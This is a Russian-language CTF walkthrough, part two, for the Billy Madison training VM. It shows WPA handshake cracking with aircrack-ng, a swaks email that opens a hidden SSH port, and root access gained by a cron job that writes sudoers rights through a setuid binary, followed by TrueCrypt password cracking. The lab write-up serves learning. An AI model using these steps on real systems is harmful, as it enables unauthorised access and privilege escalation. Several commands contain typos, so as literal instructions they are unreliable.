Продолжаем разбираться с Billy Madison VM. Закончили мы на том, что получили логин и пароль второго пользователя на FTP.
>
https://codeby.net/threads/ctf-hack-the-billy-madison-vm-part-1.59147/
Логинимся под ними на FTP и забираем два интересующих нас файла:
> get eg-01.cap
> get email-from-billy.eml

Вернемся к .notes.
Тут говорится, про SSH бэкдор, который, якобы сработает, если послать письмо содержащее, строки “My kid will be a (кто-то там). Ниже есть подсказка, откроем ссылку на видео. Посмотрев его очень большое количество раз… в общем не буду вдаваться в подробности (без гугла, я не разобрал там ровным счетом ничего). Скажу только, что текст письма должен быть таким
My kid will be a soccer player. Так как, пока все сводится к отсылке письма, попробуем выудить что-то из
email-from-billy.eml.
Открываем его любым редактором:
Есть информация о намерении сломать Wi-Fi Эрика, вероятно .cap нужный нам дамп.
Попробуем подобрать пароль.
> aircrack.ng /root/eg-01.cap –w /usr/share/wordlist/rockyou.txt
Эта ошибка вызвана тем, что с FTP .cap был скачан в текстовом режиме, а нужно было качать бинарный файл. В бинарном режиме файлы передаются без изменений, в текстовом режиме происходит модификация переводов строки в зависимости от операционной системы.
Вернемся на FTP и перед командой
get выполним команду
binary.
Перезапустим
aircrack-ng:
Запишем и идем далее. В тексте письма стоит заметить, что оно было отправлено с использованием swaks:
swaks (Swiss Army Knife SMTP) – утилита, для тестирования SMTP настроек, это альтернатива telnet.
В начале мы видели, что порт 2525 открыт. Пробуем отослать письмо адресованное Эрику с помощью swaks.
>
swaks –toeric@madisonhotels.com–fromvvaughn@polyfector.edu–server 192.168.0.105:2525 –body “My kid will be a soccer player” –header “Subject: My kid will be a soccer player”

По идее, после этих заклинаний, должен открыться тот таинственный бэкдор.
(Я такой метод впервые вижу, и мне до конца не понятно как он сработал, если кто-то в комментариях расскажет как это, получается, буду благодарен)
Перезапустим сканирование портов:
> nmap –p- 192.168.0.105

Открылась истина, точнее 1974 порт с службой SSH:
Коннектимся к нему под логином eric и используя пароль, добытый из .cap файла.
>
ssheric@192.168.0.105–p 1974
Осмотримся и заглянем в файл
why-1974.txt
>
ls –a
>
cat why-1974.txt

Это не дало понимания, что делать дальше. Можно посмотреть, что было выполнено с помощью sudo от eric
.
> find / -user root -perm -4000 -ls 2>/dev/null
/usr/local/share/sgml/donpcgd бинарник (это и есть бэкдор), был запущен от рута. Если мы его попытаемся запустить, нам будет предложено 2 пути использования:
>
/usr/local/share/sgml/donpcgd

Так как у Эрика есть права создавать файлы в любом месте, мы воспользуемся этим, для повышения своих привилегий в системе. При этом будет использоваться второй путь.
> touch tmp/test
> /usr/local/share/sgml/donpcgd /tmp/test /etc/cron.hourly/test
> echo –e ‘#!/bin/bash\necho “eric ALL=(ALL) NOPASSWORD:ALL” >> /etc/sudoers’ > /etc/cron.hourly/test
> chmod +x /etc/cron.hourly/test
> cat /etc/chron.hourly/test
Приведенные выше команды, позволят отменить запрос пароля у пользователя при попытке изменить пользователя на корневого. Мы создали задачу в
cron, и ждем некоторое время, пока
cron ее выполнит.
cron — классический демон-планировщик задач в UNIX-подобных операционных системах, использующийся для периодического выполнения заданий в определённое время. Регулярные действия описываются инструкциями, помещенными в файлы crontab и в специальные директории.
Через время пробуем получить root:
>
sudo su

Все получилось. Перейдем в корневую директорию, затем в
/PRIVATE, и откроем файл
hint.exe
> cd /
> ls –a
> cd PRIVATE/
> ls –a
> cat hint.exe
Следуя подсказке, для начала сгенерируем словарь, с помощью
cewl и подсказки из файла.
>
cewl -v https://en.wikipedia.org/wiki/Billy_Madison -d 1 -w billy.txt
cewl – это приложение на Ruby, для генерации файлов словарей. Может использовать внешние ссылки, для своей работы.
Ко всему прочему, нам необходимо перенести файл BowelMovement из каталога
/PRIVATE к себе на компьютер, чтобы в дальнейшем заняться подбором пароля к нему.
Подберем пароль к BowelMovement, используя
truecrack.
>
truecrack -w billy.txt -t BowelMovement

После успешного подбора пароля, файлик BowelMovement необходимо примонтировать в любую директорию, ввести пароль и можно знакомиться с содержимым.
Монтируем:
> veracrypt –tc BowelMovement /Billy –Заранее созданная папка
Заходим в эту папку и открываем архив –
secret.zip
В нем содержится файл THE-END.txt – Это и есть окончание прохождения Billy Madison VM.
На этом, пожалуй, все. От себя добавлю, что это была довольно сложная CTF, и я не раз обращался в гугл, особенно подсказки их ютуба – это вообще нечто. Но из нее почерпнул немало информации.